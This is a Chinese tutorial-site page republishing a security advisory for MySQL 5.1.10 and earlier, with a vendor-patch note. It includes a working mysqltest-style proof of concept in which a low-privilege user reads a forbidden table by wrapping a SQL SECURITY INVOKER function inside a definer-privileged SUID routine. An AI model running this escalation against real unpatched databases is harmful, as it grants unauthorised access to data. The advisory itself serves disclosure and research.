当前位置: 首页 > 图文教程 > 数据库 > MYSQL > MySQL权限提升及安全限制绕过漏洞

MYSQL
MYSQL常用命令与实用技巧
用mysqldump备份和恢复指定表的方法
MYSQL常见出错代码对照
dmysql自己封装的mysql库
虚拟主机MySQL数据库的备份与还原的方法
推荐没有虚拟主机的小巧的Mysql数据库备份脚本(PHP)
MySQL数据库备份方法说明
asp采用ODBC接口访问MySQL的方法
找到一种不错的从SQLServer转成Mysql数据库的方法
MySQL UDF调试方式debugview的相关方法
使用dreamhost空间实现MYSQL数据库备份方法
MYSQL导入导出命令详解
MYSQL命令行模式管理MySql的一点心得
解决MySQL数据库中文模糊检索问题的方法
Mysql以utf8存储gbk输出的实现方法提供
mysql连接过多和死掉以及拒绝服务的解决方法
在MySQL数据库中复位根用户的密码的方法
mysql数据库查询优化 mysql效率
MySQL数据库的出错代码列表
MySQL 1067错误解决方法集合

MYSQL 中的 MySQL权限提升及安全限制绕过漏洞


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-17   浏览: 50 ::
收藏到网摘: n/a

受影响系统:

MySQL AB MySQL <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

在MySQL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试方法:

【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

1、创建数据库

2、权限提升

以下为引用的内容:

--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;

 建议:

厂商补丁:MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载